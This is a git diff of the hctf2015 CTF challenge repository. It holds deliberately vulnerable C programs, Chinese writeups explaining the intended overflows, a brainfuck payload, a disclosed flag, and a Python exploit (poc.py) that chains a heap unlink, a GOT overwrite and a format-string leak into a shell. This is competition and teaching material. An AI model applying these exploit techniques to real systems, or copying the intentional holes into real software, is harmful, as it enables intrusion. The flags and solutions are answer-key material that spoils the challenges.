diff --git a/Pwn_AreYouSellingSword/README.md b/Pwn_AreYouSellingSword/README.md
new file mode 100644
index 0000000..d41d023
--- /dev/null
+++ b/Pwn_AreYouSellingSword/README.md
@@ -0,0 +1,5 @@
+# Are You Selling Sword？
+
+这题最后还是出了bug。本来考虑是覆盖ebp产生栈迁移。然后是用堆喷，在堆上布置一系列rop.这样就有很大的几率可以成功迁移栈到堆上。最后就是执行rop。但是直到最后我才发现只能覆盖ebp的3个字节，而且不知道为什么nx保护被关闭了。所以这道题目的做法变的稍微不一样了。
+
+在堆上布置shellcode，然后的通过覆盖ebp跳到指向堆的全局变量Swords数组。然后就再通过ret让程序跳转到堆上执行就可以了。
\ No newline at end of file
diff --git a/Pwn_AreYouSellingSword/pwn b/Pwn_AreYouSellingSword/pwn
new file mode 100755
index 0000000..0157d22
Binary files /dev/null and b/Pwn_AreYouSellingSword/pwn differ
diff --git a/Pwn_AreYouSellingSword/pwn.c b/Pwn_AreYouSellingSword/pwn.c
new file mode 100644
index 0000000..889d97e
--- /dev/null
+++ b/Pwn_AreYouSellingSword/pwn.c
@@ -0,0 +1,336 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+/* 
+ * The define of struct of the sword
+ * */
+typedef struct sword{
+	char name[63];
+	int damage;				//give a int to help ret
+	int cost;
+	int id;					//Every sword have a id,for delete and edit
+	char * profile;
+}sword;
+
+
+
+int getStr(char * str,int len);
+void addSword(void);
+void deleteSword(void);
+void editSword(void);
+void showSword(void);
+void openShop(void);
+
+
+sword * Swords[100];		//all point to swords,max number of sword is 100
+
+
+/* just put a choose menu */
+void putMenu(void)
+{
+	puts("Now what you want to do?");
+	puts("1.put a new sword on sale.");
+	puts("2.put a sword off shelves.");
+	puts("3.chang a sword's information.");
+	puts("4.show sword's information");
+	puts("5.Open a new shop");
+	puts("6.quit\n");
+}
+
+int main(void)
+{
+	/* set buf for socket */
+	setbuf(stdin,0);
+	setbuf(stdout,0);
+	setbuf(stderr,0);
+
+	int pid;
+	char temp;
+	char choose;
+	openShop();		
+
+	puts("Welcome back to you sword shop");
+
+	while(1)
+	{
+		putMenu();
+
+		choose = getchar();
+		while( (temp = getchar()) != '\n' )			//throw all char after
+		{
+			if(temp == 0)
+				break;
+			if(temp == -1)
+				break;
+		}
+
+		switch (choose)
+		{
+			case '1':
+				addSword();
+				break;
+			case '2':
+				deleteSword();
+				break;
+			case '3':
+				editSword();
+				break;
+			case '4':
+				showSword();
+				break;
+			case '5':
+				pid = fork();						//fork a new thread for a new shop,and east to pwn
+				if(pid == 0)
+				{
+					openShop();						//child thread 
+				}
+				else if(pid > 0)
+				{
+					wait(NULL);						//father thread wait child thread return
+				}
+				else if(pid == -1)
+				{
+					puts("Something Wrong");
+					exit(0);
+				}	
+				break;
+			case '6':
+				exit(0);
+				break;
+		}
+	}
+}
+
+
+void addSword(void)
+{
+	sword * aSword;
+	char num[20];
+	int i = 0;
+
+	aSword = (sword *)malloc(sizeof(sword));		
+
+	for(i = 0;i<100;i++)							//find where is free to save point
+	{
+		if(Swords[i] == 0)
+			break;
+	}
+
+
+	if (i == 100)									//no place
+	{
+		puts("Sorry I can't sale so many thing");
+		return;
+	}
+	aSword->id = i;
+	Swords[i] = aSword;								//always call getStr function to get string
+
+	puts("So what kind of sword do you want to sale");
+
+
+	puts("first give me the name of you Sword");
+
+	getStr(aSword->name,63);
+
+	printf("OK you sword name is %s \n",aSword->name);
+
+
+	puts("So what is the damage of sword");
+	
+	getStr(num,20);
+
+	aSword->damage = atoi(num);						//don't care of int overflow
+
+	printf("oh a %d damage sword!!\n",aSword->damage);
+
+
+	puts("So how much do you want to sale?");
+
+	getStr(num,20);
+
+	aSword->cost = atoi(num);
+	
+	printf("Ok this sword will sale as %d\n",aSword->cost);
+
+
+	puts("Now the last thing,give me some sword's profile,but not to much");
+	aSword->profile = malloc(0x100);				
+
+	getStr(aSword->profile,255);
+
+	puts("Ok the sword is in sale\n");
+	printf("The sword's id is %d\n\n",aSword->id);
+}
+
+
+/* get sword's id and free it 
+ * no changce to double free
+ * */
+void deleteSword(void)
+{
+	char num[4];
+	int n;
+	puts("Now give me the id of sword you don't want to sale.");
+	getStr(num,4);
+	n = atoi(num);
+	if(n<0 || n>=100)
+	{
+		puts("It seem you are not enter a right id.");
+		return;
+	}
+
+	if(Swords[n] == 0)
+	{
+		puts("It seems the the sword is not on sele");
+		return;
+	}
+	free(Swords[n]->profile);
+	free(Swords[n]);
+	Swords[n] = 0;
+	puts("Delete success\n");
+
+
+}
+
+/* a show function,nothing */
+void showSword(void)
+{
+	char num[4];
+	int n;
+
+	puts("So what sword do you want to show?");
+	getStr(num,4);
+	n = atoi(num);
+	if(n<0 || n>=100)
+	{
+		puts("It seem you are not enter a right id.");
+		return;
+	}
+
+	if(Swords[n] == 0)
+	{
+		puts("It seems the the sword is not on sele");
+		return;
+	}
+
+	puts("================== Swords ==================");
+	printf("name:    %s\n",Swords[n]->name);
+	printf("damage:  %d\n",Swords[n]->damage);
+	printf("cost:    %d\n",Swords[n]->cost);
+	printf("profile: %s\n",Swords[n]->profile);
+	puts("==================  END   ==================\n");
+
+}
+
+
+/* change sword's information
+ * user a new way to get input */
+void editSword(void)
+{
+	char str[0x110];
+	char num[4];
+	int n;
+	puts("chang a sword's information?");
+	puts("Give me id");
+	getStr(num,4);
+	n = atoi(num);
+	if(n<0 || n>=100)
+	{
+		puts("It seem you are not enter a right id.");
+		return;
+	}
+		
+	if(Swords[n] == 0)
+	{
+		puts("It seems the the sword is not on sele");
+		return;
+	}
+
+
+	/* Only change one at a time
+	 * user strcmp to judge 
+	 * no place to overflow */
+	puts("I am lazy so give me all one times");
+	getStr(str,0x110);
+	if(!strncmp(str,"damage:",7))
+	{
+		Swords[n]->damage = atoi(&str[7]);
+	}
+	else if(!strncmp(str,"cost:",5))
+	{
+		Swords[n]->cost = atoi(&str[5]);
+	}
+	else if(!strncmp(str,"name:",5))
+	{
+		strncpy(Swords[n]->name,&str[5],63);
+	}
+	else if(!strncmp(str,"profile:",8))
+	{
+		strncpy(Swords[n]->profile,&str[8],255);
+	}
+	else
+	{
+		puts("It seems something wrong\n");
+	}
+
+	puts("Ok change success\n");
+
+}
+
+
+/* function to get input and not add \0 when give to much char 
+ * so when overwrite ebp will not change ret_addr
+ * but will have bug.so I change every buf's size.Make every buf's size not fix 4 byte*/
+int getStr(char *str,int len)
+{
+	char ch;
+	int i = 0;
+	for(i=0;i<len-1;i++)
+	{
+		ch = getchar();
+		if(ch == '\n' || ch == 0 || ch == -1)
+		{	
+			str[i] = 0;
+			break;
+		}
+		str[i] = ch;
+	}
+	//str[i] = 0;
+	return i+1;
+}
+
+
+/* a function will change esp when overwrite ebp*/
+void openShop(void)
+{
+	void getInformation(void);
+
+
+	puts("So let's open a shop to sale sword");
+	puts("Please enter a some information\n");
+
+	//Here exploit 
+	getInformation();
+
+	puts("\nSo open shop success\nbut my memory is not good\n");
+}
+
+
+/* The overflow function*/
+void getInformation(void)
+{
+	char introduce[100];
+	char name[40];
+
+	puts("The name of you shop:");
+	getStr(name,40);
+
+	puts("Give me the introduce of shop");
+	getStr(introduce,112);			//only can reach ebp
+}
+
+//forgive my poor English
diff --git a/Pwn_JWC/README.md b/Pwn_JWC/README.md
new file mode 100644
index 0000000..a7f7279
--- /dev/null
+++ b/Pwn_JWC/README.md
@@ -0,0 +1,7 @@
+# 教务处
+
+貌似很多人认为这个是个web题Orz。
+
+这道题目应该是最好玩的题目了。
+
+首先是`strncpy`函数的一个大坑。这个函数不保证添加结尾0.所以只要构造一下，就可以让strlen函数返回的长度大于0x80.然后我长度是用一个byte储存的。这就造成的整形溢出。然后就是标准的堆溢出流程了。
\ No newline at end of file
diff --git a/Pwn_JWC/poc.py b/Pwn_JWC/poc.py
new file mode 100755
index 0000000..298d9cc
--- /dev/null
+++ b/Pwn_JWC/poc.py
@@ -0,0 +1,126 @@
+#! /usr/bin/python
+
+from zio import *
+
+#io = zio('./Fin')
+io = zio(('120.55.86.95',11111))
+libc_sys = 0x0000000000046640
+libc_start = 0x0000000000021EC5
+got_free = 0x0000000000602018
+printf = 0x0000000000400860
+
+prev_size = 0
+chunk1_size = 0x90
+chunk2_size = 0xa0
+
+point_heap = 0x00000000006020E0 + 16*3 + 8  
+point_bk = point_heap - 16
+point_fd_low = point_heap - 24
+point_fd_high = 0
+
+payload = l32(point_fd_high) + l64(point_bk) + 'a'*0x70 + l64(chunk1_size) + l64(chunk2_size)
+Format = "%15$016llx"
+io.writeline("2333333333")
+
+#add a student,ID 0
+io.read_until("information.")
+io.writeline("a")
+io.read_until("information:")
+io.writeline("07" + "/bin/sh" + "05aaaaa")         #ready to call system
+
+
+#add a student,ID 1
+io.read_until("information.")
+io.writeline("a")
+io.read_until("information:")
+io.writeline( str(len(Format)) + Format + "05aaaaa")            #leak libc addr
+
+
+
+#add a student,ID 2
+io.read_until("information.")
+io.writeline("a")
+io.read_until("information:")
+io.writeline('18' + '\0'*6 + l64(chunk1_size | 1) + l32(point_fd_low) + '125' + 'a'*125)
+
+#add a student,ID 3
+io.read_until("information.")
+io.writeline("a")
+io.read_until("information:")
+io.writeline('03' + '\0'*3 + '127' + 'a'*127)
+#now ready to overflow
+
+
+#add a student,ID 4
+io.read_until("information.")
+io.writeline("a")
+io.read_until("information:")
+io.writeline('10' + 'a'*10 + '100' + 'a'*100)
+#now ready to overflow
+
+#change student,ID 3
+io.read_until("information.")
+io.writeline("c")
+io.read_until("change")
+io.writeline('3')
+io.writeline(payload)
+#heap is overflow
+
+#delete student.ID 4
+io.read_until("information.")
+io.writeline("d")
+io.read_until("number")
+io.writeline('4')
+
+#overwrite point to student info
+#change student,ID 3
+io.read_until("information.")
+io.writeline("c")
+io.read_until("change")
+io.writeline('3')
+io.writeline( l32(30) + l64(got_free - 20) )
+
+
+#overwrite free function in got -> printf
+#change student,ID 3
+io.read_until("information.")
+io.writeline("c")
+io.read_until("change")
+io.writeline('3')
+io.writeline( l64(printf) )
+
+raw_input("wait debug")
+#delete student.ID 1 with format
+io.read_until("information.")
+io.writeline("d")
+io.read_until("number")
+io.writeline('1')
+
+addr_start = io.read(17)
+addr_start = int(addr_start,16)
+
+print hex(addr_start)
+
+base_addr = addr_start - libc_start
+addr_sys = base_addr + libc_sys
+print hex(addr_sys)
+
+#overwrite free function in got -> system
+#change student,ID 3
+io.read_until("information.")
+io.writeline("c")
+io.read_until("change")
+io.writeline('3')
+io.writeline( l64(addr_sys) )
+
+#delete student.ID 0 with sh
+io.read_until("information.")
+io.writeline("d")
+io.read_until("number")
+io.writeline('0')
+
+io.writeline('ls')
+
+#now shell is got
+io.interact()
+
diff --git a/Pwn_JWC/pwn b/Pwn_JWC/pwn
new file mode 100755
index 0000000..958f04e
Binary files /dev/null and b/Pwn_JWC/pwn differ
diff --git a/Pwn_JWC/pwn.c b/Pwn_JWC/pwn.c
new file mode 100644
index 0000000..16b84c2
--- /dev/null
+++ b/Pwn_JWC/pwn.c
@@ -0,0 +1,229 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define MAXNUM 100
+
+void AddStudent(void);
+void DeleteStudent(void);
+void ChangeStudent(void);
+
+typedef struct studentInfo{			//overflow it
+	char name[20];
+	char information[0x81];
+}studentInfo;
+
+typedef struct student{				
+	int number;
+	unsigned char InfoLen;
+	studentInfo * stuInfo;			//point to stuInfo,overwrite when heap overflow
+}student;
+
+student students[MAXNUM];
+
+int NumCount = 0;
+
+void putMenu(void)
+{
+	puts("So what do you want?\n");
+	puts("Add a student to database.");
+	puts("Delete a student from database.");
+	puts("Change a student's information.");
+}
+
+int main(int argc, char *argv[])
+{
+	setbuf(stdin,0);
+	setbuf(stdout,0);
+	setbuf(stderr,0);
+
+	char ch;
+	puts("Welcome to my student database.\n");
+	while(1)
+	{
+		putMenu();
+		ch = getchar();
+
+		while(getchar()!='\n');		//throw left char
+		if(ch == 'a')
+		{
+				AddStudent();
+		}
+		else if(ch == 'd')
+		{		
+			DeleteStudent();
+		}
+		else if(ch == 'c')
+		{		
+			ChangeStudent();
+		}
+		else
+		{
+			puts("See you.");
+			exit(0);
+		}
+	}
+	return 0;
+}
+
+void AddStudent(void)
+{
+	studentInfo *info = malloc(sizeof(studentInfo));	
+	char NUM[4];
+	unsigned char num;
+	char *p = malloc(0x200); 
+	char *str;
+	char *ch;
+	int StuFindCount;
+	student *stu;
+
+	for(StuFindCount = 0;StuFindCount < MAXNUM;StuFindCount++)	//find a free place in students array
+	{
+		if(students[StuFindCount].InfoLen == 0)
+			break;
+	}
+	
+	if(StuFindCount == MAXNUM)						//no place
+	{
+		puts("Sorry, no place for a new student");
+		return;
+	}
+
+	stu = students + StuFindCount;
+
+	puts("Add a new student\n");
+
+	printf("Show me student's information:");
+	read(0,p,0x200);							//give a read function
+	//printf("aaa");
+
+	str = p;									
+	NUM[0] = str[0];
+	NUM[1] = str[1];
+	NUM[2] = 0;
+	
+	num = atoi(NUM);							
+	if(num>=20)
+	{
+		puts("Sorry you name is to long.");
+		exit(0);
+	}
+	if(num == 0)
+	{
+		puts("Must enter number");
+		exit(0);
+	}
+
+	str = p+2;
+	strncpy(info->name,str,(unsigned int)num);
+	str += num;
+	(info->name)[num] = 0;
+
+	NUM[3] = 0;
+	NUM[1] = str[1];
+	NUM[0] = str[0];
+	NUM[2] = str[2];
+
+	num = atoi(NUM);	//all right if num is 127, maybe~
+	if(num>127)
+	{
+		puts("It's too long");
+		exit(0);
+	}
+	if(num == 0)
+	{
+		puts("0 is not allow");
+		exit(0);
+	}
+
+	str += 3;
+	strncpy(info->information,str,(unsigned int)num);
+	ch = strchr(info->information,'\n');
+	if(ch)
+	{
+		*ch = 0;
+	}
+	else
+	{
+		(info->information)[num] = 0;
+	}
+
+	stu->InfoLen = strlen(info->information);			//make this more difficult.
+
+	free(p);
+
+	stu->number = NumCount++;
+	stu->stuInfo = info;
+	
+	printf("The student number is %d\n",stu->number);	//give student number,use to change and delete
+}
+
+void DeleteStudent(void)						//nothing just free
+{
+	int StuFindCount;
+	int num;
+	student *stu;
+	puts("So give me student number");
+	
+	scanf("%d",&num);							//find student use number
+	getchar();
+	for(StuFindCount=0;StuFindCount < MAXNUM;StuFindCount++)
+	{
+		if(students[StuFindCount].InfoLen != 0 && students[StuFindCount].number == num)
+			break;
+	}
+	
+	if(StuFindCount == MAXNUM)					//no find
+	{	
+		puts("Sorry I can't find");
+		return;
+	}
+
+	stu = students + StuFindCount;
+	free(stu->stuInfo);							//all clean
+	stu->stuInfo = 0;
+	stu->InfoLen = 0;
+	stu->number = 0;
+
+	puts("delete success");
+}
+
+void ChangeStudent(void)
+{
+	int i;
+	student *stu;
+	int num;
+	int StuFindCount;
+	char len,ch;
+	char *information;
+	puts("So who's information you want to change");
+	scanf("%d",&num);
+	getchar();
+
+	for(StuFindCount=0;StuFindCount < MAXNUM;StuFindCount++)
+	{
+		if(students[StuFindCount].InfoLen != 0 && students[StuFindCount].number == num)
+			break;
+	}
+	
+	if(StuFindCount == MAXNUM)
+	{
+		puts("Sorry I can't find");
+		return;
+	}
+
+	stu = students + StuFindCount;
+	len = stu->InfoLen;
+	information = stu->stuInfo->information;
+
+	for(i=0;i != len;i++)					//here is importent,overflow if len is 0xff
+	{
+		ch = getchar();
+		if(ch == '\n')
+			break;
+		information[i] = ch;
+	}
+	information[i] = 0;
+	
+	puts("Success");
+}
diff --git a/Pwn_WhatShouldIDo/README.md b/Pwn_WhatShouldIDo/README.md
new file mode 100644
index 0000000..ab8e0b5
--- /dev/null
+++ b/Pwn_WhatShouldIDo/README.md
@@ -0,0 +1,4 @@
+# What Should I Do
+程序写的有bug，结果半夜临时线下改了。
+
+写了个风骚的base64解密代码。然后因为没有加结尾0.就会造成解密完成的代码继续进行解密产生溢出这种事情。然后特意设置了程序可以fork。方便leak canary。
\ No newline at end of file
diff --git a/Pwn_WhatShouldIDo/base64 b/Pwn_WhatShouldIDo/base64
new file mode 100755
index 0000000..9ce3485
Binary files /dev/null and b/Pwn_WhatShouldIDo/base64 differ
diff --git a/Pwn_WhatShouldIDo/base64.c b/Pwn_WhatShouldIDo/base64.c
new file mode 100644
index 0000000..4f4356e
--- /dev/null
+++ b/Pwn_WhatShouldIDo/base64.c
@@ -0,0 +1,160 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <ctype.h>
+
+#define MAXLEN 0xa0
+
+void b64Decode(void);
+int getCode(char * buf, int mx_strlen);
+void copy(char *dest, char *str, int cpyLen);
+
+int main(void)
+{	
+	int pid;
+	char ch;
+
+	/* set buf for socket */
+	setbuf(stdin,0);
+	setbuf(stdout,0);
+	setbuf(stderr,0);
+
+	printf("I am a simple program\n");
+	printf("So what should I do?\n");
+	
+	
+	while(1)
+	{
+		printf("\nMay be I can know if you give me some data[Y/N]\n");
+		if(getchar()=='Y')
+		{
+			ch = getchar();
+			while(ch != '\n' && ch != 0); //throw char
+		}
+		else
+		{
+			break;
+		}
+
+		/* fork a new thread to do decode */
+		pid = fork();
+		if(pid == 0)
+		{
+			b64Decode();
+			printf("\nback\n");
+			exit(0);
+		}
+		else if(pid > 0)
+		{
+			wait(NULL);
+		}
+		else if(pid == -1)
+		{
+			puts("Something Wrong");
+			exit(0);
+		}
+	}
+
+	printf("At last I did some thing (:\n");
+
+	return 0;
+}
+
+void copy(char *dest, char *src, int cpyLen)
+{
+	int i;
+	for(i = 0; i<cpyLen; i++)
+	{
+		dest[cpyLen - i - 1] = src[i]; 
+	}
+}
+
+void b64Decode(void)
+{
+	int ch;
+	int i,tmp = 0,flag = 1;
+
+	char BaseCode[MAXLEN];
+	char SourceCode[MAXLEN+1] = {0};
+	char *pToSource = SourceCode;
+
+	printf("So give me some data\n");
+	getCode(BaseCode, MAXLEN);
+	
+	for(i = 0; BaseCode[i]; i++)
+	{
+		if((!(i%4)) && i)
+		{
+			copy(pToSource,(char *) &tmp, 3);
+			pToSource += 3;
+			tmp = 0;
+		}
+
+		ch = BaseCode[i];
+		if(isupper(ch))
+		{
+			ch -= 'A';
+		}
+		else if(islower(ch))
+		{
+			ch -= 'a' - 26;
+		}
+		else if(isdigit(ch))
+		{
+			ch -= '0' - 52;
+		}
+		else if(ch - 61)
+		{
+			ch -= '+' - 62;
+			if(ch > 63)
+			{
+				ch = 63;
+			}
+		}
+		else
+		{
+			break;
+		
+		}
+
+		tmp = tmp | (ch<<(6*(3 - i%4)));
+
+	}
+	if(i%4)
+	{
+		tmp = tmp >> ((4 - i%4)*8);
+		copy(pToSource,(char *)&tmp, (i%4)-1);
+	}
+	printf("%s",SourceCode);
+
+}
+
+int getCode(char * buf, int mx_strlen)
+{
+	int getLen,i;
+	char *base64Code = malloc(mx_strlen + 1);
+	getLen =  read(0, base64Code, mx_strlen);
+	
+	for(i = 0; i < getLen; i++)
+	{
+		if(!isalnum(base64Code[i]))
+		{
+			if((base64Code[i]-61)&&(base64Code[i]-43)&&(base64Code[i]-47))
+			{
+				break;
+			}
+		}
+	}
+	base64Code[i] = 0;
+	
+	if(i%4)
+	{
+		puts("Something is wrong\n");
+		exit(0);
+	}
+	strncpy(buf, base64Code, mx_strlen);
+	return i;
+}
diff --git a/Pwn_brainFuck/README.md b/Pwn_brainFuck/README.md
new file mode 100644
index 0000000..9ebc8a0
--- /dev/null
+++ b/Pwn_brainFuck/README.md
@@ -0,0 +1,9 @@
+# brainFuck
+
+写个brainFuck的代码，然后再pwn掉他。出这题的原因是题目代码很好写。实现一个brainFuck的编译器就可以了。然后一开始没怎么考虑清楚，把缓冲区放在了堆上，然后发现这个程序基本上无解Orz。临时修改题目，改到了栈上。这样就可以做了。
+
+其实也不难，稍微了解一下brainFuck很容易就能写出各种功能的代码。leak libc然后构造rop跳转就可以。这里给一段可行的brainFuck代码
+
+> `'[.>.>.>.>.>.>.>.>]>>>>>>>>>>>>>>>>,>,>,>,>,>,>,>,>]q'`
+
+这段代码就可以打印堆结构，绕过canary，覆盖返回值。最后按照rop链的长度修改最后一段输入的长度就可以了
\ No newline at end of file
diff --git a/Pwn_brainFuck/brainFuck b/Pwn_brainFuck/brainFuck
new file mode 100755
index 0000000..68dae02
Binary files /dev/null and b/Pwn_brainFuck/brainFuck differ
diff --git a/Pwn_brainFuck/brainFuck.c b/Pwn_brainFuck/brainFuck.c
new file mode 100644
index 0000000..6ec45f6
--- /dev/null
+++ b/Pwn_brainFuck/brainFuck.c
@@ -0,0 +1,100 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+char *cmd1 = " ++ptr; ";
+char *cmd2 = " --ptr; ";
+char *cmd3 = " ++*ptr; ";
+char *cmd4 = " --*ptr; ";
+char *cmd5 = " putchar(*ptr); ";
+char *cmd6 = " *ptr =getchar(); ";
+char *cmd7 = " while (*ptr) { ";
+char *cmd8 = " } ";
+char *stdCode = "#include <stdio.h>\n #include <stdlib.h> \n  int main(void) {	setbuf(stdin,0); char code[0x200]; char *ptr = code; \n";
+
+int toCode(char * codes);
+
+int main(int argc, char *argv[])
+{	
+	setbuf(stdout,0);
+	setbuf(stdin,0);
+	int i;
+	char *codes = malloc(0x100);
+	char ch;
+	for(i=0;i<0x100;i++)
+	{
+		ch = getchar();
+		if(ch == 'q')
+		{
+			codes[i] = 0;
+			break;
+		}
+		if(ch != '.' && ch != ',' && ch != '[' && ch != ']' && ch != '-' && ch != '+' && ch != '>' && ch != '<')
+		{
+			printf("some thing wrong\n");
+			exit(0);
+		}
+		codes[i] = ch;
+	}
+
+	if(toCode(codes))
+	{
+		printf("some thing wrong\n");
+	}
+	if(system("gcc brainFuckCode.c -o brainFuckCode"))
+	{
+		remove("brainFuckCode.c");
+		printf("some thing wrong\n");
+		exit(0);
+	}
+	remove("brainFuckCode.c");
+	system("./brainFuckCode");
+	remove("brainFuckCode");
+	free(codes);
+	return 0;
+}
+
+int toCode(char * code)
+{
+	int i;
+	FILE *fp;
+	fp = fopen("brainFuckCode.c","w+");
+	if(fp == 0)
+	{
+		return 1;
+	}
+	fputs(stdCode,fp);
+	
+	for(i=0;code[i];i++)
+	{
+		switch (code[i])
+		{
+			case '>':
+				fputs(cmd1,fp);
+				break;
+			case '<':
+				fputs(cmd2,fp);
+				break;
+			case '+':
+				fputs(cmd3,fp);
+				break;
+			case '-':
+				fputs(cmd4,fp);
+				break;
+			case '.':
+				fputs(cmd5,fp);
+				break;
+			case ',':
+				fputs(cmd6,fp);
+				break;
+			case '[':
+				fputs(cmd7,fp);
+				break;
+			case ']':
+				fputs(cmd8,fp);
+				break;
+		}
+	}
+	fclose(fp);
+}
+
diff --git a/README.md b/README.md
index 64ab2f2..7caabe6 100644
--- a/README.md
+++ b/README.md
@@ -5,3 +5,4 @@ hctf2015 all problems and writeups from propositioners
 *  先push到自己的分支，记得创建子目录，最后统一merge，这样不用多下载一份别人的文件，麻烦
 *  关于展示flag的地方有特殊处理的可以改回普通的显示一段话
 *  最好附带一下自己的writeup
+
diff --git a/Re-crc/.gitignore b/Re-crc/.gitignore
new file mode 100644
index 0000000..0f91a41
--- /dev/null
+++ b/Re-crc/.gitignore
@@ -0,0 +1,2 @@
+Win32Project2.sdf
+*.pdb
diff --git a/Re-crc/Debug/Win32Project2.exe b/Re-crc/Debug/Win32Project2.exe
new file mode 100644
index 0000000..20f44ae
Binary files /dev/null and b/Re-crc/Debug/Win32Project2.exe differ
diff --git a/Re-crc/Debug/Win32Project2.ilk b/Re-crc/Debug/Win32Project2.ilk
new file mode 100644
index 0000000..f3813ba
Binary files /dev/null and b/Re-crc/Debug/Win32Project2.ilk differ
diff --git a/Re-crc/README.md b/Re-crc/README.md
new file mode 100644
index 0000000..9ed6307
--- /dev/null
+++ b/Re-crc/README.md
@@ -0,0 +1,11 @@
+# 欧洲人的游戏
+
+其实啊，这个其实是个crc摘要算法。
+
+我对明文的奇偶位分别做了一次crc，然后校验。所以一次只要爆破5个字节就可以了。
+
+当然，我把2个crc的代码写在了一起。如果看不出来，当成10字节去爆破就GG了。
+
+当然，欧洲人和有钱人就算是10个字节也是可以爆破（猜）出来的。
+
+flag：hctf{It is a crc program!} //程序中只需输入花括号部分就可以提示正确
\ No newline at end of file
diff --git a/Re-crc/Release/Win32Project2.exe b/Re-crc/Release/Win32Project2.exe
new file mode 100644
index 0000000..bfe1f0d
Binary files /dev/null and b/Re-crc/Release/Win32Project2.exe differ
diff --git a/Re-crc/Win32Project2.sln b/Re-crc/Win32Project2.sln
new file mode 100644
index 0000000..d4173af
--- /dev/null
+++ b/Re-crc/Win32Project2.sln
@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2012
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win32Project2", "Win32Project2\Win32Project2.vcxproj", "{4056368E-EFA0-4A0B-90FC-85F2175775A9}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{4056368E-EFA0-4A0B-90FC-85F2175775A9}.Debug|Win32.ActiveCfg = Debug|Win32
+		{4056368E-EFA0-4A0B-90FC-85F2175775A9}.Debug|Win32.Build.0 = Debug|Win32
+		{4056368E-EFA0-4A0B-90FC-85F2175775A9}.Release|Win32.ActiveCfg = Release|Win32
+		{4056368E-EFA0-4A0B-90FC-85F2175775A9}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/Re-crc/Win32Project2.v11.suo b/Re-crc/Win32Project2.v11.suo
new file mode 100644
index 0000000..6bc3371
Binary files /dev/null and b/Re-crc/Win32Project2.v11.suo differ
diff --git a/Re-crc/Win32Project2/Debug/CL.read.1.tlog b/Re-crc/Win32Project2/Debug/CL.read.1.tlog
new file mode 100644
index 0000000..eef6291
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/CL.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/CL.write.1.tlog b/Re-crc/Win32Project2/Debug/CL.write.1.tlog
new file mode 100644
index 0000000..0254b25
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/CL.write.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/Resource.res b/Re-crc/Win32Project2/Debug/Resource.res
new file mode 100644
index 0000000..0f36d5e
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/Resource.res differ
diff --git a/Re-crc/Win32Project2/Debug/Win32Project2.lastbuildstate b/Re-crc/Win32Project2/Debug/Win32Project2.lastbuildstate
new file mode 100644
index 0000000..b26d199
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/Win32Project2.lastbuildstate
@@ -0,0 +1,2 @@
+#v4.0:v110:false
+Debug|Win32|D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\|
diff --git a/Re-crc/Win32Project2/Debug/Win32Project2.log b/Re-crc/Win32Project2/Debug/Win32Project2.log
new file mode 100644
index 0000000..b857f3e
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/Win32Project2.log
@@ -0,0 +1,14 @@
+生成启动时间为 2015/12/8 19:51:48。
+     1>项目“D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Win32Project2\Win32Project2.vcxproj”在节点 2 上(Build 个目标)。
+     1>ClCompile:
+         D:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /Od /Oy- /D WIN32 /D _DEBUG /D _WINDOWS /D _MBCS /Gm /EHsc /RTC1 /MDd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Debug\\" /Fd"Debug\vc110.pdb" /Gd /TP /analyze- /errorReport:prompt "源.cpp"
+         源.cpp
+       Link:
+         D:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Debug\Win32Project2.exe" /INCREMENTAL /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Debug\Win32Project2.pdb" /SUBSYSTEM:WINDOWS /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Debug\Win32Project2.lib" /MACHINE:X86 Debug\Resource.res
+         "Debug\源.obj"
+         Win32Project2.vcxproj -> D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Debug\Win32Project2.exe
+     1>已完成生成项目“D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Win32Project2\Win32Project2.vcxproj”(Build 个目标)的操作。
+
+生成成功。
+
+已用时间 00:00:01.09
diff --git a/Re-crc/Win32Project2/Debug/cl.command.1.tlog b/Re-crc/Win32Project2/Debug/cl.command.1.tlog
new file mode 100644
index 0000000..bc1e018
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/cl.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/link-cvtres.read.1.tlog b/Re-crc/Win32Project2/Debug/link-cvtres.read.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/link-cvtres.read.1.tlog
